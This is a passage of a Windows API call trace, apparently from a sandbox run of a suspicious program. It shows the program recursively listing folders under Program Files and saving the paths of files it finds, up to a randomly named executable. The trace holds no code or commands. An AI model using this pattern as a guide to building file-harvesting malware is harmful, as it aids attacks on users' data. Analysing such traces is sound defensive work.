[0040.132] lstrcmpW (lpString1="MSEnv", lpString2="..") returned 1 [0040.132] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0040.132] lstrlenW (lpString="MSEnv") returned 5 [0040.132] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="MSEnv" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv" [0040.132] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.132] lstrcmpW (lpString1="MSInfo", lpString2=".") returned 1 [0040.132] lstrcmpW (lpString1="MSInfo", lpString2="..") returned 1 [0040.132] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0040.132] lstrlenW (lpString="MSInfo") returned 6 [0040.132] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="MSInfo" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo" [0040.132] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.133] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2=".") returned 1 [0040.133] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="..") returned 1 [0040.133] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0040.133] lstrlenW (lpString="OfficeSoftwareProtectionPlatform") returned 32 [0040.133] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform" [0040.133] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.133] lstrcmpW (lpString1="Stationery", lpString2=".") returned 1 [0040.133] lstrcmpW (lpString1="Stationery", lpString2="..") returned 1 [0040.133] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0040.133] lstrlenW (lpString="Stationery") returned 10 [0040.133] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="Stationery" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery" [0040.133] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.133] lstrcmpW (lpString1="TextConv", lpString2=".") returned 1 [0040.133] lstrcmpW (lpString1="TextConv", lpString2="..") returned 1 [0040.133] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0040.133] lstrlenW (lpString="TextConv") returned 8 [0040.133] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="TextConv" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv" [0040.133] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.133] lstrcmpW (lpString1="Triedit", lpString2=".") returned 1 [0040.133] lstrcmpW (lpString1="Triedit", lpString2="..") returned 1 [0040.133] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0040.133] lstrlenW (lpString="Triedit") returned 7 [0040.133] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="Triedit" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit" [0040.133] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.133] lstrcmpW (lpString1="VC", lpString2=".") returned 1 [0040.133] lstrcmpW (lpString1="VC", lpString2="..") returned 1 [0040.133] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0040.133] lstrlenW (lpString="VC") returned 2 [0040.133] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VC" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VC") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VC" [0040.133] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.133] lstrcmpW (lpString1="VGX", lpString2=".") returned 1 [0040.133] lstrcmpW (lpString1="VGX", lpString2="..") returned 1 [0040.133] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0040.133] lstrlenW (lpString="VGX") returned 3 [0040.133] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VGX" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX" [0040.133] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.133] lstrcmpW (lpString1="VSTA", lpString2=".") returned 1 [0040.133] lstrcmpW (lpString1="VSTA", lpString2="..") returned 1 [0040.133] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0040.133] lstrlenW (lpString="VSTA") returned 4 [0040.133] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VSTA" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA" [0040.133] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.133] lstrcmpW (lpString1="VSTO", lpString2=".") returned 1 [0040.134] lstrcmpW (lpString1="VSTO", lpString2="..") returned 1 [0040.134] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0040.134] lstrlenW (lpString="VSTO") returned 4 [0040.134] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VSTO" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO" [0040.134] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.134] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.134] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.134] lstrcmpW (lpString1="Services", lpString2=".") returned 1 [0040.134] lstrcmpW (lpString1="Services", lpString2="..") returned 1 [0040.134] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0040.134] lstrlenW (lpString="Services") returned 8 [0040.134] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Services" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services") returned="c:\\Program Files (x86)\\Common Files\\Services" [0040.134] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\") returned="c:\\Program Files (x86)\\Common Files\\Services\\" [0040.134] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\") returned 45 [0040.134] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\*") returned="c:\\Program Files (x86)\\Common Files\\Services\\*" [0040.134] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.134] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.134] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.134] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.134] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.134] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.134] lstrcmpW (lpString1="verisign.bmp", lpString2=".") returned 1 [0040.134] lstrcmpW (lpString1="verisign.bmp", lpString2="..") returned 1 [0040.134] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\") returned 45 [0040.134] lstrlenW (lpString="verisign.bmp") returned 12 [0040.134] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\", lpString2="verisign.bmp" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" [0040.134] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned 57 [0040.134] lstrcpyW (in: lpString1=0x12f8b0, lpString2="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" [0040.134] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.134] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.134] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.134] lstrcmpW (lpString1="SpeechEngines", lpString2=".") returned 1 [0040.134] lstrcmpW (lpString1="SpeechEngines", lpString2="..") returned 1 [0040.134] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0040.134] lstrlenW (lpString="SpeechEngines") returned 13 [0040.134] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="SpeechEngines" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines" [0040.134] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\" [0040.134] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned 50 [0040.134] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*" [0040.134] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.134] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.134] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.135] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.135] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.135] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.135] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0040.135] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0040.135] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned 50 [0040.135] lstrlenW (lpString="Microsoft") returned 9 [0040.135] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" [0040.135] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.135] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.135] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.135] lstrcmpW (lpString1="System", lpString2=".") returned 1 [0040.135] lstrcmpW (lpString1="System", lpString2="..") returned 1 [0040.135] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0040.135] lstrlenW (lpString="System") returned 6 [0040.135] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="System" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System") returned="c:\\Program Files (x86)\\Common Files\\System" [0040.135] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\") returned="c:\\Program Files (x86)\\Common Files\\System\\" [0040.135] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0040.135] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\*") returned="c:\\Program Files (x86)\\Common Files\\System\\*" [0040.135] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\System\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.135] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.135] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.135] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.135] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.135] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.135] lstrcmpW (lpString1="ado", lpString2=".") returned 1 [0040.135] lstrcmpW (lpString1="ado", lpString2="..") returned 1 [0040.135] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0040.135] lstrlenW (lpString="ado") returned 3 [0040.135] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="ado" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\ado") returned="c:\\Program Files (x86)\\Common Files\\System\\ado" [0040.135] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.135] lstrcmpW (lpString1="DirectDB.dll", lpString2=".") returned 1 [0040.135] lstrcmpW (lpString1="DirectDB.dll", lpString2="..") returned 1 [0040.135] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0040.135] lstrlenW (lpString="DirectDB.dll") returned 12 [0040.135] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="DirectDB.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" [0040.135] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned 55 [0040.135] lstrcpyW (in: lpString1=0x5e02b8, lpString2="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" [0040.135] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.135] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0040.135] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0040.135] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0040.135] lstrlenW (lpString="en-US") returned 5 [0040.135] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\en-US") returned="c:\\Program Files (x86)\\Common Files\\System\\en-US" [0040.135] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.135] lstrcmpW (lpString1="msadc", lpString2=".") returned 1 [0040.135] lstrcmpW (lpString1="msadc", lpString2="..") returned 1 [0040.136] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0040.136] lstrlenW (lpString="msadc") returned 5 [0040.136] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="msadc" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\msadc") returned="c:\\Program Files (x86)\\Common Files\\System\\msadc" [0040.136] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.136] lstrcmpW (lpString1="Ole DB", lpString2=".") returned 1 [0040.136] lstrcmpW (lpString1="Ole DB", lpString2="..") returned 1 [0040.136] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0040.136] lstrlenW (lpString="Ole DB") returned 6 [0040.136] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="Ole DB" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\Ole DB") returned="c:\\Program Files (x86)\\Common Files\\System\\Ole DB" [0040.136] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.136] lstrcmpW (lpString1="wab32.dll", lpString2=".") returned 1 [0040.136] lstrcmpW (lpString1="wab32.dll", lpString2="..") returned 1 [0040.136] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0040.136] lstrlenW (lpString="wab32.dll") returned 9 [0040.136] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="wab32.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" [0040.136] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned 52 [0040.136] lstrcpyW (in: lpString1=0x5e0330, lpString2="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" [0040.136] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.136] lstrcmpW (lpString1="wab32res.dll", lpString2=".") returned 1 [0040.136] lstrcmpW (lpString1="wab32res.dll", lpString2="..") returned 1 [0040.136] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0040.136] lstrlenW (lpString="wab32res.dll") returned 12 [0040.136] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="wab32res.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" [0040.136] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned 55 [0040.136] lstrcpyW (in: lpString1=0x5e03a8, lpString2="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" [0040.136] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.136] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.136] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.136] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.136] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.136] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0040.136] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0040.136] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.136] lstrlenW (lpString="desktop.ini") returned 11 [0040.136] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="desktop.ini" | out: lpString1="c:\\Program Files (x86)\\desktop.ini") returned="c:\\Program Files (x86)\\desktop.ini" [0040.136] lstrlenW (lpString="c:\\Program Files (x86)\\desktop.ini") returned 34 [0040.136] lstrcpyW (in: lpString1=0x12f930, lpString2="c:\\Program Files (x86)\\desktop.ini" | out: lpString1="c:\\Program Files (x86)\\desktop.ini") returned="c:\\Program Files (x86)\\desktop.ini" [0040.136] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.136] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0040.136] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0040.136] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.136] lstrlenW (lpString="Google") returned 6 [0040.136] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Google" | out: lpString1="c:\\Program Files (x86)\\Google") returned="c:\\Program Files (x86)\\Google" [0040.136] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\") returned="c:\\Program Files (x86)\\Google\\" [0040.136] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0040.136] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\*") returned="c:\\Program Files (x86)\\Google\\*" [0040.136] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.137] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.137] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.137] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.137] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.137] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.137] lstrcmpW (lpString1="Chrome", lpString2=".") returned 1 [0040.137] lstrcmpW (lpString1="Chrome", lpString2="..") returned 1 [0040.137] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0040.137] lstrlenW (lpString="Chrome") returned 6 [0040.137] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="Chrome" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome") returned="c:\\Program Files (x86)\\Google\\Chrome" [0040.137] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\") returned="c:\\Program Files (x86)\\Google\\Chrome\\" [0040.137] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\Chrome\\") returned 37 [0040.137] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\*") returned="c:\\Program Files (x86)\\Google\\Chrome\\*" [0040.137] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.137] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.137] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.137] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.137] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.137] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.137] lstrcmpW (lpString1="Application", lpString2=".") returned 1 [0040.137] lstrcmpW (lpString1="Application", lpString2="..") returned 1 [0040.137] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\Chrome\\") returned 37 [0040.137] lstrlenW (lpString="Application") returned 11 [0040.137] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\", lpString2="Application" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\Application") returned="c:\\Program Files (x86)\\Google\\Chrome\\Application" [0040.137] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.137] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.137] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.137] lstrcmpW (lpString1="CrashReports", lpString2=".") returned 1 [0040.137] lstrcmpW (lpString1="CrashReports", lpString2="..") returned 1 [0040.137] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0040.137] lstrlenW (lpString="CrashReports") returned 12 [0040.137] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="CrashReports" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports") returned="c:\\Program Files (x86)\\Google\\CrashReports" [0040.137] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\CrashReports", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\") returned="c:\\Program Files (x86)\\Google\\CrashReports\\" [0040.137] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\CrashReports\\") returned 43 [0040.137] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\*") returned="c:\\Program Files (x86)\\Google\\CrashReports\\*" [0040.137] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0xffffffff [0040.137] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.137] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.137] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.138] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1 [0040.138] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1 [0040.138] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.138] lstrlenW (lpString="Internet Explorer") returned 17 [0040.138] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Internet Explorer" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer") returned="c:\\Program Files (x86)\\Internet Explorer" [0040.138] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\") returned="c:\\Program Files (x86)\\Internet Explorer\\" [0040.138] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.138] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\*" [0040.138] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.138] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.138] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.138] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.138] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.138] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.138] lstrcmpW (lpString1="efforts-extreme-quantity-reproductive.exe", lpString2=".") returned 1 [0040.138] lstrcmpW (lpString1="efforts-extreme-quantity-reproductive.exe", lpString2="..") returned 1 [0040.138] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.138] lstrlenW (lpString="efforts-extreme-quantity-reproductive.exe") returned 41 [0040.138] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="efforts-extreme-quantity-reproductive.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned="c:\\Program Files 